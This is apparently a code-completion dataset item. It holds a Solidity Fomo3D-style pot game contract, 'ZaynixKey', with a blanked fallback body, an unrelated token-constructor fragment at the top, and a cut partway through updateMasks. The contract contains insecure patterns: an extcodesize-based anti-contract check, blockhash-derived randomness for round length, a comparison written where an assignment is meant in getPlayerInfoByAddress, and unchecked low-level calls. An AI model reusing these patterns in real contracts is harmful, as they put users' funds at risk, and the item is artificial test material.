_feeAddrWallet1 = payable(0x605aCd05E067Ff046480832ba6e01a168d005E40); _feeAddrWallet2 = payable(0x605aCd05E067Ff046480832ba6e01a168d005E40); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
constructor ()
constructor ()
10,725
ZaynixKey
contract ZaynixKey is ZaynixKeyevents { using SafeMath for *; using NameFilter for string; using KeysCalc for uint256; PlayerBookInterface private PlayerBook; //============================================================================== // _ _ _ |`. _ _ _ |_ | _ _ . // (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings) //=================_|=========================================================== address private admin = msg.sender; address private flushDivs; string constant public name = "ZaynixKey"; string constant public symbol = "ZaynixKey"; uint256 private rndExtra_ = 1 minutes; // length of the very first ICO uint256 private rndGap_ = 1 minutes; // length of ICO phase, set to 1 year for EOS. uint256 private rndInit_ = 25 hours; // round timer starts at this uint256 constant private rndInc_ = 300 seconds; // every full key purchased adds this much to the timer uint256 private rndMax_ = 72 hours; // max length a round timer can be uint256[6] private timerLengths = [30 minutes,60 minutes,120 minutes,360 minutes,720 minutes,1440 minutes]; //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes) //=============================|================================================ uint256 public rID_; // round id number / total rounds that have happened //**************** // PLAYER DATA //**************** mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => ZaynixKeyDatasets.Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (uint256 => ZaynixKeyDatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own) //**************** // ROUND DATA //**************** mapping (uint256 => ZaynixKeyDatasets.Round) public round_; // (rID => data) round data mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id //**************** // TEAM FEE DATA //**************** mapping (uint256 => ZaynixKeyDatasets.TeamFee) public fees_; // (team => fees) fee distribution by team mapping (uint256 => ZaynixKeyDatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy) //============================================================================== constructor(address whaleContract, address playerbook) public { flushDivs = whaleContract; PlayerBook = PlayerBookInterface(playerbook); //no teams... only ZaynixKey-heads // Referrals / Community rewards are mathematically designed to come from the winner's share of the pot. fees_[0] = ZaynixKeyDatasets.TeamFee(49,10); //30% to pot, 10% to aff, 1% to dev, potSplit_[0] = ZaynixKeyDatasets.PotSplit(15,10); //48% to winner, 25% to next round, 2% to dev } //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (these are safety checks) //============================================================================== /** * @dev used to make sure no one can interact with contract until it has * been activated. */ modifier isActivated() { require(activated_ == true); _; } /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0); require(_addr == tx.origin); _; } /** * @dev sets boundaries for incoming tx */ modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000); require(_eth <= 100000000000000000000000); _; } //============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract) //====|========================================================================= /** * @dev emergency buy uses last stored affiliate ID */ function() isActivated() isHuman() isWithinLimits(msg.value) public payable {<FILL_FUNCTION_BODY> } /** * @dev converts all incoming ethereum to keys. * -functionhash- 0x8f38f309 (using ID for affiliate) * -functionhash- 0x98a0871d (using address for affiliate) * -functionhash- 0xa65b37a1 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee */ function buyXid(uint256 _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not ZaynixKeyDatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // buy core buyCore(_pID, _affCode, _eventData_); } function buyXaddr(address _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not ZaynixKeyDatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // buy core buyCore(_pID, _affID, _eventData_); } function buyXname(bytes32 _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not ZaynixKeyDatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // buy core buyCore(_pID, _affID, _eventData_); } /** * @dev essentially the same as buy, but instead of you sending ether * from your wallet, it uses your unwithdrawn earnings. * -functionhash- 0x349cdcac (using ID for affiliate) * -functionhash- 0x82bfc739 (using address for affiliate) * -functionhash- 0x079ce327 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _eth amount of earnings to use (remainder returned to gen vault) */ function reLoadXid(uint256 _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data ZaynixKeyDatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // reload core reLoadCore(_pID, _affCode, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data ZaynixKeyDatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // reload core reLoadCore(_pID, _affID, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data ZaynixKeyDatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // reload core reLoadCore(_pID, _affID, _eth, _eventData_); } /** * @dev withdraws all of your earnings. * -functionhash- 0x3ccfd60b */ function withdraw() isActivated() isHuman() public { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // setup temp var for player eth uint256 _eth; // check to see if round has ended and no one has run round end yet if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // set up our tx event data ZaynixKeyDatasets.EventReturns memory _eventData_; // end the round (distributes pot) round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire withdraw and distribute event emit ZaynixKeyevents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.ZaynixKeyAmount, _eventData_.genAmount ); // in any other situation } else { // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // fire withdraw event emit ZaynixKeyevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } /** * @dev use these to register names. they are just wrappers that will send the * registration requests to the PlayerBook contract. So registering here is the * same as registering there. UI will always display the last name you registered. * but you will still own all previously registered names to use as affiliate * links. * - must pay a registration fee. * - name must be unique * - names will be converted to lowercase * - name cannot start or end with a space * - cannot have more than 1 space in a row * - cannot be only numbers * - cannot start with 0x * - name must be at least 1 char * - max length of 32 characters long * - allowed characters: a-z, 0-9, and space * -functionhash- 0x921dec21 (using ID for affiliate) * -functionhash- 0x3ddd4698 (using address for affiliate) * -functionhash- 0x685ffd83 (using name for affiliate) * @param _nameString players desired name * @param _affCode affiliate ID, address, or name of who referred you * @param _all set to true if you want this to push your info to all games * (this might cost a lot of gas) */ function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit ZaynixKeyevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit ZaynixKeyevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit ZaynixKeyevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } //============================================================================== // _ _ _|__|_ _ _ _ . // (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan) //=====_|======================================================================= /** * @dev return the price buyer will pay for next 1 individual key. * -functionhash- 0x018a25e8 * @return price for next key bought (in wei format) */ function getBuyPrice() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else // rounds over. need price for new round return ( 75000000000000 ); // init } /** * @dev returns time left. dont spam this, you'll ddos yourself from your node * provider * -functionhash- 0xc7e284b8 * @return time left in seconds */ function getTimeLeft() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } /** * @dev returns player earnings per vaults * -functionhash- 0x63066434 * @return winnings vault * @return general vault * @return affiliate vault */ function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { // setup local rID uint256 _rID = rID_; // if round has ended. but round end has not been run (so contract has not distributed winnings) if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // if player is winner if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); // if player is not the winner } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } // if round is still going on, or round has ended and round end has been ran } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } /** * solidity hates stack limits. this lets us avoid that hate */ function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } /** * @dev returns all current round info needed for front end * -functionhash- 0x747dff42 * @return eth invested during ICO phase * @return round id * @return total keys for round * @return time round ends * @return time round started * @return current pot * @return current team ID & player ID in lead * @return current player in leads address * @return current player in leads name * @return whales eth in for round * @return bears eth in for round * @return sneks eth in for round * @return bulls eth in for round */ function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; return ( round_[_rID].ico, //0 _rID, //1 round_[_rID].keys, //2 round_[_rID].end, //3 round_[_rID].strt, //4 round_[_rID].pot, //5 (round_[_rID].team + (round_[_rID].plyr * 10)), //6 plyr_[round_[_rID].plyr].addr, //7 plyr_[round_[_rID].plyr].name, //8 rndTmEth_[_rID][0], //9 rndTmEth_[_rID][1], //10 rndTmEth_[_rID][2], //11 rndTmEth_[_rID][3] //12 ); } /** * @dev returns player info based on address. if no address is given, it will * use msg.sender * -functionhash- 0xee0b5d8b * @param _addr address of the player you want to lookup * @return player ID * @return player name * @return keys owned (current round) * @return winnings vault * @return general vault * @return affiliate vault * @return player round eth */ function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, //0 plyr_[_pID].name, //1 plyrRnds_[_pID][_rID].keys, //2 plyr_[_pID].win, //3 (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4 plyr_[_pID].aff, //5 plyrRnds_[_pID][_rID].eth //6 ); } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine) //=====================_|======================================================= /** * @dev logic runs whenever a buy order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function buyCore(uint256 _pID, uint256 _affID, ZaynixKeyDatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // call core core(_rID, _pID, msg.value, _affID, 0, _eventData_); // if round is not active } else { // check to see if end round needs to be ran if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit ZaynixKeyevents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.ZaynixKeyAmount, _eventData_.genAmount ); } // put eth in players vault plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } /** * @dev logic runs whenever a reload order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, ZaynixKeyDatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // get earnings from all vaults and return unused to gen vault // because we use a custom safemath library. this will throw if player // tried to spend more eth than they have. plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); // call core core(_rID, _pID, _eth, _affID, 0, _eventData_); // if round is not active and end round needs to be ran } else if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit ZaynixKeyevents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.ZaynixKeyAmount, _eventData_.genAmount ); } } /** * @dev this is the core logic for any buy/reload that happens while a round * is live. */ function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, ZaynixKeyDatasets.EventReturns memory _eventData_) private { // if player is new to round if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); // early round eth limiter if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 5000000000000000000) { uint256 _availableLimit = (5000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } // if eth left is greater than min eth allowed (sorry no pocket lint) if (_eth > 1000000000) { // mint the new keys uint256 _keys = (round_[_rID].eth).keysRec(_eth); // if they bought at least 1 whole key if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); // set new leaders if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; // set the new leader bool to true _eventData_.compressedData = _eventData_.compressedData + 100; } // update player plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); // update round round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][0] = _eth.add(rndTmEth_[_rID][0]); // distribute eth _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, 0, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, 0, _keys, _eventData_); // call end tx function to fire end tx event. endTx(_pID, 0, _eth, _keys, _eventData_); } } //============================================================================== // _ _ | _ | _ _|_ _ _ _ . // (_(_||(_|_||(_| | (_)| _\ . //============================================================================== /** * @dev calculates unmasked earnings (just calculates, does not update mask) * @return earnings in wei format */ function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } /** * @dev returns the amount of keys you would get given an amount of eth. * -functionhash- 0xce89c80c * @param _rID round ID you want price for * @param _eth amount of eth sent in * @return keys received */ function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else // rounds over. need keys for new round return ( (_eth).keys() ); } /** * @dev returns current eth price for X keys. * -functionhash- 0xcf808000 * @param _keys number of keys desired (in 18 decimal format) * @return amount of eth needed to send */ function iWantXKeys(uint256 _keys) public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else // rounds over. need price for new round return ( (_keys).eth() ); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== /** * @dev receives name/player info from names contract */ function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook)); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev receives entire player name list */ function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook)); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev gets existing or registers new pID. use this when a player may be new * @return pID */ function determinePID(ZaynixKeyDatasets.EventReturns memory _eventData_) private returns (ZaynixKeyDatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; // if player is new to this version of fomo3d if (_pID == 0) { // grab their player ID, name and last aff ID, from player names contract _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); // set up player account pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; // set the new player bool to true _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } /** * @dev decides if round end needs to be run & new round started. and if * player unmasked earnings from previously played rounds need to be moved. */ function managePlayer(uint256 _pID, ZaynixKeyDatasets.EventReturns memory _eventData_) private returns (ZaynixKeyDatasets.EventReturns) { // if player has played a previous round, move their unmasked earnings // from that round to gen vault. if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); // update player's last round played plyr_[_pID].lrnd = rID_; // set the joined round bool to true _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } /** * @dev ends the round. manages paying out winner/splitting up pot */ function endRound(ZaynixKeyDatasets.EventReturns memory _eventData_) private returns (ZaynixKeyDatasets.EventReturns) { // setup local rID uint256 _rID = rID_; // grab our winning player and team id's uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; // grab our pot amount uint256 _pot = round_[_rID].pot; // calculate our winner share, community rewards, gen share, // p3d share, and amount reserved for next pot uint256 _win = (_pot.mul(48)) / 100; //48% uint256 _dev = (_pot / 50); //2% uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; //15 uint256 _ZaynixKey = (_pot.mul(potSplit_[_winTID].ZaynixKey)) / 100; // 10 uint256 _res = (((_pot.sub(_win)).sub(_dev)).sub(_gen)).sub(_ZaynixKey); //25 // calculate ppt for round mask uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } // pay our winner plyr_[_winPID].win = _win.add(plyr_[_winPID].win); // community rewards admin.transfer(_dev); flushDivs.call.value(_ZaynixKey)(bytes4(keccak256("donate()"))); // distribute gen portion to key holders round_[_rID].mask = _ppt.add(round_[_rID].mask); // prepare event data _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.ZaynixKeyAmount = _ZaynixKey; _eventData_.newPot = _res; // start next round rID_++; _rID++; round_[_rID].strt = now; rndMax_ = timerLengths[determineNextRoundLength()]; round_[_rID].end = now.add(rndMax_); round_[_rID].pot = _res; return(_eventData_); } function determineNextRoundLength() internal view returns(uint256 time) { uint256 roundTime = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1)))) % 6; return roundTime; } /** * @dev moves any unmasked earnings to gen vault. updates earnings mask */ function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { // put in gen vault plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); // zero out their earnings by updating mask plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } /** * @dev updates round timer based on number of whole keys bought. */ function updateTimer(uint256 _keys, uint256 _rID) private { // grab time uint256 _now = now; // calculate time based on number of keys bought uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); // compare to max and set new end time if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } /** * @dev distributes eth based on fees to com, aff, and ZaynixKey */ function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, ZaynixKeyDatasets.EventReturns memory _eventData_) private returns(ZaynixKeyDatasets.EventReturns) { // pay 1% out to dev uint256 _dev = _eth / 100; // 1% uint256 _ZaynixKey = 0; if (!address(admin).call.value(_dev)()) { _ZaynixKey = _dev; _dev = 0; } // distribute share to affiliate uint256 _aff = _eth / 10; // decide what to do with affiliate share of fees // affiliate must not be self, and must have a name registered if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit ZaynixKeyevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _ZaynixKey = _ZaynixKey.add(_aff); } // pay out ZaynixKey _ZaynixKey = _ZaynixKey.add((_eth.mul(fees_[_team].ZaynixKey)) / (100)); if (_ZaynixKey > 0) { // deposit to divies contract //uint256 _potAmount = _ZaynixKey / 2; flushDivs.call.value(_ZaynixKey)(bytes4(keccak256("donate()"))); //round_[_rID].pot = round_[_rID].pot.add(_potAmount); // set up event data _eventData_.ZaynixKeyAmount = _ZaynixKey.add(_eventData_.ZaynixKeyAmount); } return(_eventData_); } function potSwap() external payable { //you shouldn't be using this method admin.transfer(msg.value); } /** * @dev distributes eth based on fees to gen and pot */ function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, ZaynixKeyDatasets.EventReturns memory _eventData_) private returns(ZaynixKeyDatasets.EventReturns) { // calculate gen share uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; // update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share)) _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].ZaynixKey)) / 100)); // calculate pot uint256 _pot = _eth.sub(_gen); // distribute gen share (thats what updateMasks() does) and adjust // balances for dust. uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); // add eth to pot round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); // set up event data _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } /** * @dev updates masks for round and player when keys are bought * @return dust left over */ function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { /* MASKING NOTES earnings masks are a tricky thing for people to wrap their minds around. the basic thing to understand here. is were going to have a global tracker based on profit per share for each round, that increases in relevant proportion to the increase in share supply. the player will have an additional mask that basically says "based on the rounds mask, my shares, and how much i've already withdrawn, how much is still owed to me?" */ // calc profit per key & round mask based on this buy: (dust goes to pot) uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); // calculate player earning from their own buy (only based on the keys // they just bought). & update player earnings mask uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); 